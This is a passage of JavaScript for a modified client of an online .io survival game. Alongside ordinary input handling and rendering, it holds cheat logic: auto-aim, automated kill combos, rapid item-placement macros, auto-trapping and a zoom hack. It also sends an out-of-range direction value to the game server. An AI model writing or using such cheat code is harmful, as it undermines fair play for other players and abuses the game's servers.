                window.addEventListener('resize', UTILS.checkTrusted(resize));
                function resize() {
                    screenWidth = window.innerWidth;
                    screenHeight = window.innerHeight;
                    var scaleFillNative = Math.max(screenWidth / maxScreenWidth, screenHeight / maxScreenHeight) * pixelDensity;
                    gameCanvas.width = screenWidth * pixelDensity;
                    gameCanvas.height = screenHeight * pixelDensity;
                    gameCanvas.style.width = screenWidth + "px";
                    gameCanvas.style.height = screenHeight + "px";
                    mainContext.setTransform(
                        scaleFillNative, 0,
                        0, scaleFillNative,
                        (screenWidth * pixelDensity - (maxScreenWidth * scaleFillNative)) / 2,
                        (screenHeight * pixelDensity - (maxScreenHeight * scaleFillNative)) / 2
                    );
                }
                resize();

                // TOUCH INPUT:
                var usingTouch;
                setUsingTouch(false);
                function setUsingTouch(using) {
                    usingTouch = using;
                    updateGuide();
                    // if (using) {
                    //     chatButton.classList.add("mobile");
                    // } else {
                    //     chatButton.classList.remove("mobile");
                    // }
                }
                window.setUsingTouch = setUsingTouch;

                gameCanvas.addEventListener('touchmove', UTILS.checkTrusted(touchMove), false);
                function touchMove(ev) {
                    ev.preventDefault();
                    ev.stopPropagation();
                    setUsingTouch(true);
                    for (var i = 0; i < ev.changedTouches.length; i++) {
                        var t = ev.changedTouches[i];
                        if (t.identifier == controllingTouch.id) {
                            controllingTouch.currentX = t.pageX;
                            controllingTouch.currentY = t.pageY;
                            sendMoveDir();
                        } else if (t.identifier == attackingTouch.id) {
                            attackingTouch.currentX = t.pageX;
                            attackingTouch.currentY = t.pageY;
                            attackState = 1;
                        }
                    }
                }
                gameCanvas.addEventListener('touchstart', UTILS.checkTrusted(touchStart), false);
                function touchStart(ev) {
                    ev.preventDefault();
                    ev.stopPropagation();
                    setUsingTouch(true);
                    for (var i = 0; i < ev.changedTouches.length; i++) {
                        var t = ev.changedTouches[i];
                        if (t.pageX < document.body.scrollWidth / 2 && controllingTouch.id == -1) {
                            controllingTouch.id = t.identifier;
                            controllingTouch.startX = controllingTouch.currentX = t.pageX;
                            controllingTouch.startY = controllingTouch.currentY = t.pageY;
                            sendMoveDir();
                        } else if (t.pageX > document.body.scrollWidth / 2 && attackingTouch.id == -1) {
                            attackingTouch.id = t.identifier;
                            attackingTouch.startX = attackingTouch.currentX = t.pageX;
                            attackingTouch.startY = attackingTouch.currentY = t.pageY;
                            if (player.buildIndex < 0) {
                                attackState = 1;
                                sendAtckState();
                            }
                        }
                    }
                }
                gameCanvas.addEventListener('touchend', UTILS.checkTrusted(touchEnd), false);
                gameCanvas.addEventListener('touchcancel', UTILS.checkTrusted(touchEnd), false);
                gameCanvas.addEventListener('touchleave', UTILS.checkTrusted(touchEnd), false);
                function touchEnd(ev) {
                    ev.preventDefault();
                    ev.stopPropagation();
                    setUsingTouch(true);
                    for (var i = 0; i < ev.changedTouches.length; i++) {
                        var t = ev.changedTouches[i];
                        if (t.identifier == controllingTouch.id) {
                            controllingTouch.id = -1;
                            sendMoveDir();
                        } else if (t.identifier == attackingTouch.id) {
                            attackingTouch.id = -1;
                            if (player.buildIndex >= 0) {
                                attackState = 1;
                                sendAtckState();
                            }
                            attackState = 0;
                            sendAtckState();
                        }
                    }
                }


                // MOUSE INPUT:
                gameCanvas.addEventListener('mousemove', gameInput, false);
                function gameInput(e) {
                    e.preventDefault();
                    e.stopPropagation();
                    setUsingTouch(false);
                    mouseX = e.clientX;
                    mouseY = e.clientY;
                }
                gameCanvas.addEventListener('mousedown', mouseDown, false);
                function mouseDown(e) {
                    setUsingTouch(false);
                    if (attackState != 1) {
                        attackState = 1;
                        sendAtckState();
                    }
                    if (e.button == 2) {
                        tracker.combatclick = "tank"
                    } else if (e.button == 0) {
                        tracker.combatclick = "bull"
                    }
                }
                gameCanvas.addEventListener('mouseup', mouseUp, false);
                function mouseUp(e) {
                    setUsingTouch(false);
                    if (attackState != 0) {
                        attackState = 0;
                        sendAtckState();
                    }
                    tracker.combatclick = false
                }

                // INPUT UTILS:
                function getMoveDir() {
                    var dx = 0;
                    var dy = 0;
                    if (controllingTouch.id != -1) {
                        dx += controllingTouch.currentX - controllingTouch.startX;
                        dy += controllingTouch.currentY - controllingTouch.startY;
                    } else {
                        for (var key in moveKeys) {
                            var tmpDir = moveKeys[key];
                            dx += !!keys[key] * tmpDir[0];
                            dy += !!keys[key] * tmpDir[1];
                        }
                    }
                    return (dx == 0 && dy == 0) ? undefined : UTILS.fixTo(Math.atan2(dy, dx), 2);
                }
                var lastDir;
                function getAttackDir() {
                    if (!player){
                        return 0;
                    }else if(!tracker.hitting && settings.spin && !tracker.autoaiming){
                        tracker.lastDir += Math.random()
                        return tracker.lastDir
                    } else if(tracker.autoaiming/*&& nearest enemy angle*/){
                        tracker.lastDir = nEA
                        return nEA
                    } else if(settings.getruby){
                        return 1e300
                    } else if(tracker.intrap && settings.autobreak && tracker.hitting){
                        tracker.lastDir = tracker.trapDir
                        return tracker.trapDir

                    } else if (attackingTouch.id != -1) {
                        tracker.lastDir = lastDir = Math.atan2(
                            attackingTouch.currentY - attackingTouch.startY,
                            attackingTouch.currentX - attackingTouch.startX
                        );
                        return lastDir = Math.atan2(
                            attackingTouch.currentY - attackingTouch.startY,
                            attackingTouch.currentX - attackingTouch.startX
                        );
                    } else if (!player.lockDir && !usingTouch) {
                        tracker.lastDir = lastDir = Math.atan2(mouseY - (screenHeight / 2), mouseX - (screenWidth / 2));
                        return lastDir = Math.atan2(mouseY - (screenHeight / 2), mouseX - (screenWidth / 2));
                    }
                    return UTILS.fixTo(lastDir || 0, 2);
                }

                // KEYS:
                var keys = {};
                var moveKeys = {
                    87: [0,-1],
                    38: [0,-1],
                    83: [0,1],
                    40: [0,1],
                    65: [-1,0],
                    37: [-1,0],
                    68: [1,0],
                    39: [1,0]
                };
                function resetMoveDir() {
                    keys = {};
                    io.send("rmd");
                }
                function keysActive() {
                    return (allianceMenu.style.display != "block"
                            && chatHolder.style.display != "block");
                }
                function keyDown(event) {
                    var keyNum = event.which||event.keyCode||0;
                    [foodPlacer, boostPlacer, spikePlacer, millPlacer, padPlacer,turretPlacer].forEach(e => e.start(keyNum))
                    if (keyNum == 27) {
                        hideAllWindows();
                    } else if (player && player.alive && keysActive()) {
                        if (!keys[keyNum]) {
                            keys[keyNum] = 1;
                            if (keyNum == 69) {
                                sendAutoGather();
                            } else if (keyNum == 67) {
                                updateMapMarker();
                            } else if (keyNum == 88) {
                                sendLockDir();
                            } else if (player.weapons[keyNum - 49] != undefined) {
                                selectToBuild(player.weapons[keyNum - 49], true);
                            } else if (player.items[keyNum - 49 - player.weapons.length] != undefined) {
                                selectToBuild(player.items[keyNum - 49 - player.weapons.length]);
                            } else if (keyNum == 81) {
                                selectToBuild(player.items[0]);
                            } else if (keyNum == 82) {
                                if (settings.insta == "WR"){
                                    auI = !auI
                                } else {
                                    xn()
                                }
                            } else if (moveKeys[keyNum] && !tracker.otMove2) {
                                sendMoveDir();
                            } else if (keyNum == 32) {
                                attackState = 1;
                                sendAtckState();
                            } else if (keyNum == 77) {
                                atM = !atM
                            } else if (keyNum == 90) {
                                tracker.insta = false
                                autoaim(false)
                                tracker.soldier = false
                                tracker.otSoldier = false
                                tracker.trapSoldier = false
                                tracker.syncSoldier = false
                                tracker.emp = false
                                tracker.otMove2 = false
                            } else if(keyNum == 85){
                                io.send("6", 3)
                            }
                        }
                    }
                }
                window.addEventListener('keydown', UTILS.checkTrusted(keyDown));
                function keyUp(event) {
                    if (player && player.alive) {
                        var keyNum = event.which||event.keyCode||0;
                        [foodPlacer, boostPlacer, spikePlacer, millPlacer, padPlacer,turretPlacer].forEach(e => e.stop(keyNum))
                        if (keyNum == 13) {
                            toggleChat();
                        } else if (keysActive()) {
                            if (keys[keyNum]) {
                                keys[keyNum] = 0;
                                if (moveKeys[keyNum]) {
                                    sendMoveDir();
                                } else if (keyNum == 32) {
                                    attackState = 0;
                                    sendAtckState();
                                }
                            }
                        }
                    }
                }
                window.addEventListener('keyup', UTILS.checkTrusted(keyUp));
                function sendAtckState() {
                    if (player && player.alive) {
                        io.send("c", attackState, (player.buildIndex >= 0?getAttackDir():null));
                    }
                }
                window.addEventListener('wheel', (event) => {
                    if(event.deltaY > 0){
                        //    maxScreenHeight *= 1.03
                        //   maxScreenWidth *= 1.03
                    } else {
                        //    maxScreenWidth /= 1.03
                        //    maxScreenWidth /= 1.03

                    }
                    //resize()
                })
                var lastMoveDir = undefined;
                function sendMoveDir() {
                    var newMoveDir = getMoveDir();
                    if (lastMoveDir == undefined || newMoveDir == undefined || Math.abs(newMoveDir - lastMoveDir) > 0.3) {
                        tracker.moveDir = newMoveDir
                        io.send("33", newMoveDir);
                        lastMoveDir = newMoveDir;
                    }
                }
                function sendLockDir() {
                    player.lockDir = player.lockDir?0:1;
                    io.send("7", 0);
                }
                function sendMapPing() {
                    io.send("14", 1);
                }
                function sendAutoGather() {
                    io.send("7", 1);
                }
                function selectToBuild(index, wpn) {
                    io.send("5", index, wpn);
                }

                // ENTER GAME:
                function enterGame() {
                    saveVal("moo_name", nameInput.value);
                    if (!inGame && socketReady()) {
                        inGame = true;
                        Sound.stop("menu");
                        showLoadingText("Loading...");
                        io.send("sp", {
                            name: nameInput.value,
                            moofoll: moofoll,
                            skin: skinColor
                        });
                    }
                }

                // SETUP GAME:
                var firstSetup = true;
                function setupGame(yourSID) {
                    loadingText.style.display = "none";
                    menuCardHolder.style.display = "block";
                    mainMenu.style.display = "none";
                    keys = {};
                    playerSID = yourSID;
                    attackState = 0;
                    inGame = true;
                    if (firstSetup) {
                        firstSetup = false;
                        gameObjects.length = 0;
                    }
                }

                function rP(key, action, interval, bu) {
                    let _isKeyDown = false;
                    let _intervalId = undefined;
                    return {
                        start(keycode) {
                            if(keycode == key && document.activeElement.id.toLowerCase() !== 'chatbox') {
                                _isKeyDown = true;
                                if(_intervalId === undefined) {
                                    _intervalId = setInterval(() => {
                                        action()
                                        if(!_isKeyDown){
                                            clearInterval(_intervalId);
                                            _intervalId = undefined;
                                        }
                                    }, interval);
                                }
                            }
                        },
                        stop(keycode) {
                            if(keycode == key && document.activeElement.id.toLowerCase() !== 'chatbox') {
                                _isKeyDown = false;
                            }
                        }
                    };
                }
                const foodPlacer = rP(81, () => {place(player.items[0])}, 0);
                const boostPlacer = rP(70, () => {place(player.items[4])}, 0);
                const spikePlacer = rP(86, () => {place(player.items[2])}, 0);
                const millPlacer = rP(78, () => {place(player.items[3])}, 0);
                const turretPlacer = rP(72, () => {place(player.items[5])}, 0);
                const padPlacer = rP(74, () => {place(player.items[6])}, 0);
                let place = function(e, t){
                    t == null ? t = getAttackDir() : t = t;
                    io.send("5", e, null);
                    io.send("c", 1, t);
                    io.send("c", 0, t);
                    io.send("5", player.weaponIndex, true);
                    if (e == 0) {
                        io.send("5", e, null);
                        io.send("c", 1, t);
                        io.send("c", 0, t);
                        io.send("5", player.weaponIndex, true);
                    }
                    io.send("2",getAttackDir())
                    sendAtckState()
                }
                // SHOW ANIM TEXT:
                function showText(x, y, value, type) {
                    textManager.showText(x, y, 50, 0.18, 700/*500*/, Math.abs(value), (value>=0)?"#fff":"#8ecc51");
                }


                // KILL PLAYER:
                var deathTextScale = 99999;
                function killPlayer() {
                    inGame = false;
                    try {
                        factorem.refreshAds([2], true);
                    } catch (e) {};
                    gameUI.style.display = "none";
                    hideAllWindows();
                    lastDeath = {
                        x: player.x,
                        y: player.y
                    };
                    loadingText.style.display = "none";
                    diedText.style.display = "block";
                    diedText.style.fontSize = "0px";
                    deathTextScale = 0;
                    setTimeout(function() {
                        menuCardHolder.style.display = "block";
                        mainMenu.style.display = "block";
                        // Sound.play("menu", 1, true);
                        diedText.style.display = "none";
                    }, config.deathFadeout);

                    // UPDATE SERVER LIST:
                    updateServerList();
                }

                // KILL ALL OBJECTS BY A PLAYER:
                function killObjects(sid) {
                    let tmpObj = findPlayerBySID(sid)
                    if (player) objectManager.removeAllItems(sid);
                    primaryReload[sid] = 1
                    secondaryReload[sid] = 1
                    secondaryWeapons[sid] = undefined
                    primaryWeapons[sid] = undefined
                    spikeTypes[sid] = undefined
                }

                // KILL OBJECT:
                function killObject(sid) {
                    if(settings.getruby){
                        for (let i=0; i<2*Math.PI; i+=Math.PI/9){
                            place(player.items[5], i);
                        }
                    }
                    let tmpObj = findObjectBySid(sid)
                    if(nEy.length){
                        if (fgdo(tmpObj, player) < 200 && settings.autoreplace &&(nEy.length && fgd(nEy, player) < 200)) {
                            if (nEy.length && fgd(nEy, player) < 180){
                                if(primaryReload[player.sid] == 1){
                                    for (let i=nEA-Math.PI/3; i<nEA+Math.PI/3; i+=Math.PI/18){
                                        place(player.items[2], i);
                                    }
                                    place(player.items[2], Math.hypot(tmpObj.x - player.x, tmpObj.y - tmpObj.y ));
                                    if(!tracker.insta && !tracker.inTrap){
                                        tracker.hitting = true
                                        tracker.insta = true
                                        autoaim(true);
                                        selectToBuild(player.weapons[0], !0);
                                        storeEquip(0, 1)
                                        storeEquip(7);
                                        io.send("c", 1, getAttackDir());
                                        io.send("c", 0, getAttackDir())
                                        sendAtckState()
                                        addFunction( () => {
                                            io.send("c", 1, getAttackDir());
                                            io.send("c", 0, getAttackDir());
                                            autoaim(false);
                                            sendAtckState()
                                            tracker.insta = false;
                                        }, 1);
                                    }
                                } else {
                                    place(player.items[4], Math.hypot(tmpObj.x - player.x, tmpObj.y - tmpObj.y ));
                                }


                            }
                            var element;
                            let myTraps = gameObjects.filter(args => args.owner && (args.owner.sid === player.sid || isAlly(args.owner.sid)) && args.trap);
                            if (myTraps.length) {
                                for (let item of myTraps) {
                                    if(Math.hypot(item.y - nEy[2], item.x - nEy[1]) <= 45){
                                        element = item;
                                    }
                                }
                            }
                            if (element) {
                                let mySpikes = gameObjects.filter(args => args.owner && (args.owner.sid === player.sid || isAlly(args.owner.sid)) && args.dmg && fgdo(args, element) <= 130);
                                if ((fgd(nEy, player) < 200) && mySpikes.length) {
                                    autopush(mySpikes, element);
                                    if (fgdo(element, player) < 250) {
                                        let closestSpike = mySpikes.sort((a, b) => fgd(nEy, a) - fgd(nEy, b))[0],
                                            rAng = Math.atan2(nEy[2]-closestSpike.y, nEy[1]-closestSpike.x),
                                            point = {x: closestSpike.x + Math.cos(rAng) * closestSpike.scale, y: closestSpike.y + Math.sin(rAng) * closestSpike.scale};
                                        place(player.items[4], point);
                                    }
                                } else {
                                    if(fgd(nEy, player) <= 120){
                                        let fromEdge = 50 - Math.hypot(nEy[1] - element.x, nEy[2] - element.y),
                                            fromCenter = Math.atan2(nEy[2] - element.y, nEy[1] - element.x),
                                            cosY = Math.cos(fromCenter) * fromEdge + 10,
                                            cosX = Math.sin(fromCenter) * fromEdge + 10,
                                            rad = Math.atan2(cosY - player.y2, cosX - player.x2);
                                        for(let i = 0; i < 24; i++){
                                            let an1 = i * 3 * Math.cos(i + rad) / 180 * Math.PI + nEA, an2 = i * 3 * Math.sin(i + rad) / 180 * Math.PI + nEA;
                                            place(player.items[2], an1);
                                            place(player.items[2], an2);
                                            io.send("2", getAttackDir());
                                        }
                                    }

                                }
                                place(player.items[4], nEA);
                                for (let i=nEA-Math.PI/3+ Math.PI; i<nEA+Math.PI/3+Math.PI; i+=Math.PI/18 + Math.PI){
                                    place(player.items[2], i);
                                }
                            }
                            for (let i=nEA-Math.PI/3; i<nEA+Math.PI/3; i+=Math.PI/18){
                                place(player.items[2], i);
                            }
                            if (player.items[4] == 15){
                                for (let i=0; i<2*Math.PI; i+=Math.PI/9){
                                    place(player.items[4], i);
                                }
                                io.send("2", getAttackDir);
                            }

                        }
                    }


                    objectManager.disableBySid(sid);
                }

                // UPDATE SCORE DISPLAY:
                function updateStatusDisplay() {
                    scoreDisplay.innerText = player.points;
                    foodDisplay.innerText = player.food;;
                    woodDisplay.innerText = player.wood;
                    stoneDisplay.innerText = player.stone;
                    killCounter.innerText = player.kills;
                }

                // ICONS:
                var iconSprites = {};
                var icons = ["crown", "skull", "crosshair"];
                function loadIcons() {
                    for (var i = 0; i < icons.length; ++i) {
                        var tmpSprite = new Image();
                        tmpSprite.onload = function() {
                            this.isLoaded = true;
                        };
                        tmpSprite.src = (icons[i] == "crosshair" ? "https://cdn.discordapp.com/attachments/947934940920684584/987404982343073842/unknown.png" : ".././img/icons/" + icons[i] + ".png")
                        iconSprites[icons[i]] = tmpSprite;
                    }
                }

                // UPDATE UPGRADES:
                var tmpList = [];
                function updateUpgrades(points, age) {
                    player.upgradePoints = points;
                    player.upgrAge = age;
                    if (points > 0) {
                        tmpList.length = 0;
                        UTILS.removeAllChildren(upgradeHolder);
                        for (var i = 0; i < items.weapons.length; ++i) {
                            if (items.weapons[i].age == age /*&& (items.weapons[i].pre == undefined || player.weapons.indexOf(items.weapons[i].pre) >= 0)*/) {
                                var e = UTILS.generateElement({
                                    id: "upgradeItem" + i,
                                    class: "actionBarItem",
                                    onmouseout: function() { showItemInfo(); },
                                    parent: upgradeHolder
                                });
                                e.style.backgroundImage = document.getElementById("actionBarItem" + i).style.backgroundImage;
                                tmpList.push(i);
                            }
                        }
                        for (var i = 0; i < items.list.length; ++i) {
                            if (items.list[i].age == age /*&& (items.list[i].pre == undefined || player.items.indexOf(items.list[i].pre) >= 0)*/) {
                                var tmpI = (items.weapons.length + i);
                                var e = UTILS.generateElement({
                                    id: "upgradeItem" + tmpI,
                                    class: "actionBarItem",
                                    onmouseout: function() { showItemInfo(); },
                                    parent: upgradeHolder
                                });
                                e.style.backgroundImage = document.getElementById("actionBarItem" + tmpI).style.backgroundImage;
                                tmpList.push(tmpI);
                            }
                        }
                        for (var i = 0; i < tmpList.length; i++) {
                            (function(i) {
                                var tmpItem = document.getElementById('upgradeItem' + i);
                                tmpItem.onmouseover = function() {
                                    if (items.weapons[i]) {
                                        showItemInfo(items.weapons[i], true);
                                    } else {
                                        showItemInfo(items.list[i-items.weapons.length]);
                                    }
                                };
                                tmpItem.onclick = UTILS.checkTrusted(function() {
                                    io.send("6", i);
                                });
                                UTILS.hookTouchEvents(tmpItem);
                            })(tmpList[i]);
                        }
                        if (tmpList.length) {
                            upgradeHolder.style.display = "block";
                            upgradeCounter.style.display = "block";
                            upgradeCounter.innerHTML = "SELECT ITEMS (" + points + ")";
                        } else {
                            upgradeHolder.style.display = "none";
                            upgradeCounter.style.display = "none";
                            showItemInfo();
                        }
                    } else {
                        upgradeHolder.style.display = "none";
                        upgradeCounter.style.display = "none";
                        showItemInfo();
                    }
                }
                function sendUpgrade(index) {
                    io.send("6", index);
                }

                // UPDATE AGE:
                function updateAge(xp, mxp, age) {
                    if (xp != undefined)
                        player.XP = xp;
                    if (mxp != undefined)
                        player.maxXP = mxp;
                    if (age != undefined)
                        player.age = age;
                    if (age == config.maxAge) {
                        ageText.innerHTML = "MAX AGE";
                        ageBarBody.style.width = "100%";
                    } else {
                        ageText.innerHTML = "AGE " + player.age;
                        ageBarBody.style.width = ((player.XP/player.maxXP) * 100) + "%";
                    }
                }

                // UPDATE LEADERBOARD:
                function updateLeaderboard(data) {
                    UTILS.removeAllChildren(leaderboardData);
                    var tmpC = 1;
                    for (var i = 0; i < data.length; i += 3) {
                        (function(i) {
                            UTILS.generateElement({
                                class: "leaderHolder",
                                parent: leaderboardData,
                                children: [
                                    UTILS.generateElement({
                                        class: "leaderboardItem",
                                        style: "color:" + ((data[i] == playerSID) ? "#fff" : "rgba(255,255,255,0.6)"),
                                        text: tmpC + ". " + (data[i+1] != "" ? data[i+1] : "unknown")
                                    }),
                                    UTILS.generateElement({
                                        class: "leaderScore",
                                        text: UTILS.kFormat(data[i+2]) || "0"
                                    })
                                ]
                            });
                        })(i);
                        tmpC++;
                    }
                }

                // UPDATE GAME:
                function updateGame() {
                    if (true) {

                        // UPDATE DIRECTION:
                        if (player) {
                            if (!lastSent || now - lastSent >= (1000 / config.clientSendRate)) {
                                lastSent = now;
                                io.send("2", getAttackDir());
                            }
                        }

                        // DEATH TEXT:
                        if (deathTextScale < 120) {
                            deathTextScale += 0.1 * delta;
                            diedText.style.fontSize = Math.min(Math.round(deathTextScale), 120) + "px";
                        }

                        // MOVE CAMERA:
                        if (player) {
                            var tmpDist = UTILS.getDistance(camX, camY, player.x, player.y);
                            var tmpDir = UTILS.getDirection(player.x, player.y, camX, camY);
                            var camSpd = Math.min(tmpDist * 0.01 * delta, tmpDist);
                            if (tmpDist > 0.05) {
                                camX += camSpd * Math.cos(tmpDir);
                                camY += camSpd * Math.sin(tmpDir);
                            } else {
                                camX = player.x;
                                camY = player.y;
                            }
                        } else {
                            camX = config.mapScale / 2;
                            camY = config.mapScale / 2;
                        }

                        // INTERPOLATE PLAYERS AND AI:
                        var lastTime = now - (1000 / config.serverUpdateRate);
                        var tmpDiff;
                        for (var i = 0; i < players.length + ais.length; ++i) {
                            tmpObj = players[i]||ais[i-players.length];
                            if (tmpObj && tmpObj.visible) {
                                if (tmpObj.forcePos) {
                                    tmpObj.x = tmpObj.x2;
                                    tmpObj.y = tmpObj.y2;
                                    tmpObj.dir = tmpObj.d2;
                                } else {
                                    var total = tmpObj.t2 - tmpObj.t1;
                                    var fraction = lastTime - tmpObj.t1;
                                    var ratio = (fraction / total);
                                    var rate = 170;
                                    tmpObj.dt += delta;
                                    var tmpRate = Math.min(1.7, tmpObj.dt / rate);
                                    var tmpDiff = (tmpObj.x2 - tmpObj.x1);
                                    tmpObj.x = tmpObj.x1 + (tmpDiff * tmpRate);
                                    tmpDiff = (tmpObj.y2 - tmpObj.y1);
                                    tmpObj.y = tmpObj.y1 + (tmpDiff * tmpRate);
                                    tmpObj.dir = Math.lerpAngle(tmpObj.d2, tmpObj.d1, Math.min(1.2, ratio));
                                }
                            }
                        }

                        // RENDER CORDS:
                        var xOffset = camX - (maxScreenWidth / 2);
                        var yOffset = camY - (maxScreenHeight / 2);
                        if(settings.ae){
                            maxScreenWidth = 1920
                            maxScreenHeight = 1080
                        } else {
                            maxScreenWidth = Math.max(1520,((tracker.maxScreenWidth + maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth + maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth + maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth + maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth + maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth+ maxScreenWidth + maxScreenWidth)/65))
                            maxScreenHeight = Math.max(1520, ((tracker.maxScreenHeight + maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight+ maxScreenHeight + maxScreenHeight)/65))
                        }
                        resize()

                        // RENDER BACKGROUND:
                        if (config.snowBiomeTop - yOffset <= 0 && config.mapScale - config.snowBiomeTop - yOffset >= maxScreenHeight) {
                            mainContext.fillStyle = "#b6db66";
                            mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
                        } else if (config.mapScale - config.snowBiomeTop - yOffset <= 0) {
                            mainContext.fillStyle = "#dbc666";
                            mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
                        } else if (config.snowBiomeTop - yOffset >= maxScreenHeight) {
                            mainContext.fillStyle = "#fff";
                            mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);
                        } else if (config.snowBiomeTop - yOffset >= 0) {
                            mainContext.fillStyle = "#fff";
                            mainContext.fillRect(0, 0, maxScreenWidth, config.snowBiomeTop - yOffset);
                            mainContext.fillStyle = "#b6db66";
                            mainContext.fillRect(0, config.snowBiomeTop - yOffset, maxScreenWidth,
                                                 maxScreenHeight - (config.snowBiomeTop - yOffset));
                        } else {
                            mainContext.fillStyle = "#b6db66";
                            mainContext.fillRect(0, 0, maxScreenWidth,
                                                 (config.mapScale - config.snowBiomeTop - yOffset));
                            mainContext.fillStyle = "#dbc666";
                            mainContext.fillRect(0, (config.mapScale - config.snowBiomeTop - yOffset), maxScreenWidth,
                                                 maxScreenHeight - (config.mapScale - config.snowBiomeTop - yOffset));
                        }

                        // RENDER WATER AREAS:
                        if (!firstSetup) {
                            waterMult += waterPlus * config.waveSpeed * delta;
                            if (waterMult >= config.waveMax) {
                                waterMult = config.waveMax;
                                waterPlus = -1;
                            } else if (waterMult <= 1) {
                                waterMult = waterPlus = 1;
                            }
                            mainContext.globalAlpha = 1;
                            mainContext.fillStyle = "#dbc666";
                            renderWaterBodies(xOffset, yOffset, mainContext, config.riverPadding);
                            mainContext.fillStyle = "#91b2db";
                            renderWaterBodies(xOffset, yOffset, mainContext, (waterMult - 1) * 250);
                        }

                        // RENDER GRID:
                        mainContext.lineWidth = 4;
                        mainContext.strokeStyle = "#000";
                        mainContext.globalAlpha = 0.06;
                        mainContext.beginPath();
                        if(settings.ae){
                            for (var x = -camX; x < maxScreenWidth; x += maxScreenHeight / 18) {
                                if (x > 0) {
                                    mainContext.moveTo(x, 0);
                                    mainContext.lineTo(x, maxScreenHeight);
                                }
                            }
                            for (var y = -camY; y < maxScreenHeight; y += maxScreenHeight / 18) {
                                if (x > 0) {
                                    mainContext.moveTo(0, y);
                                    mainContext.lineTo(maxScreenWidth, y);
                                }
                            }
                        } else {
                            for (var x = (14400-xOffset) % 1440; x < maxScreenWidth; x += 1440) {
                                if (x > 0) {
                                    mainContext.moveTo(x, 0);
                                    mainContext.lineTo(x, maxScreenHeight);
                                }
                            }
                            for (var y = (14400-yOffset)% 1440; y < maxScreenHeight; y += 1440) {
                                if (x > 0) {
                                    mainContext.moveTo(0, y);
                                    mainContext.lineTo(maxScreenWidth, y);
                                }
                            }
                        }

                        mainContext.stroke();

                        // RENDER BOTTOM LAYER:
                        mainContext.globalAlpha = 1;
                        mainContext.strokeStyle = outlineColor;
                        renderGameObjects(-1, xOffset, yOffset);

                        // RENDER PROJECTILES:
                        mainContext.globalAlpha = 1;
                        mainContext.lineWidth = outlineWidth;
                        renderProjectiles(0, xOffset, yOffset);

                        // RENDER PLAYERS:
                        renderPlayers(xOffset, yOffset, 0);

                        // RENDER AI:
                        mainContext.globalAlpha = 1;
                        for (var i = 0; i < ais.length; ++i) {
                            tmpObj = ais[i];
                            if (tmpObj.active && tmpObj.visible) {
                                tmpObj.animate(delta);
                                mainContext.save();
                                mainContext.translate(tmpObj.x - xOffset, tmpObj.y - yOffset);
                                mainContext.rotate(tmpObj.dir+tmpObj.dirPlus-(Math.PI/2));
                                renderAI(tmpObj, mainContext);
                                mainContext.restore();
                            }
                        }

                        // RENDER GAME OBJECTS (LAYERED):
                        renderGameObjects(0, xOffset, yOffset);
                        renderProjectiles(1, xOffset, yOffset);
                        renderGameObjects(1, xOffset, yOffset);
                        renderPlayers(xOffset, yOffset, 1);
                        renderGameObjects(2, xOffset, yOffset);
                        renderGameObjects(3, xOffset, yOffset);

                        // MAP BOUNDARIES:
                        mainContext.fillStyle = "#000";
                        mainContext.globalAlpha = 0.09;
                        if (xOffset <= 0) {
                            mainContext.fillRect(0, 0, -xOffset, maxScreenHeight);
                        } if (config.mapScale - xOffset <= maxScreenWidth) {
                            var tmpY = Math.max(0, -yOffset);
                            mainContext.fillRect(config.mapScale - xOffset, tmpY, maxScreenWidth - (config.mapScale - xOffset), maxScreenHeight - tmpY);
                        } if (yOffset <= 0) {
                            mainContext.fillRect(-xOffset, 0, maxScreenWidth + xOffset, -yOffset);
                        } if (config.mapScale - yOffset <= maxScreenHeight) {
                            var tmpX = Math.max(0, -xOffset);
                            var tmpMin = 0;
                            if (config.mapScale - xOffset <= maxScreenWidth)
                                tmpMin = maxScreenWidth - (config.mapScale - xOffset);
                            mainContext.fillRect(tmpX, config.mapScale - yOffset,
                                                 (maxScreenWidth - tmpX) - tmpMin, maxScreenHeight - (config.mapScale - yOffset));
                        }

                        // RENDER DAY/NIGHT TIME:
                        mainContext.globalAlpha = 1;
                        mainContext.fillStyle = "rgba(0, 0, 70, 0.35)";
                        mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);

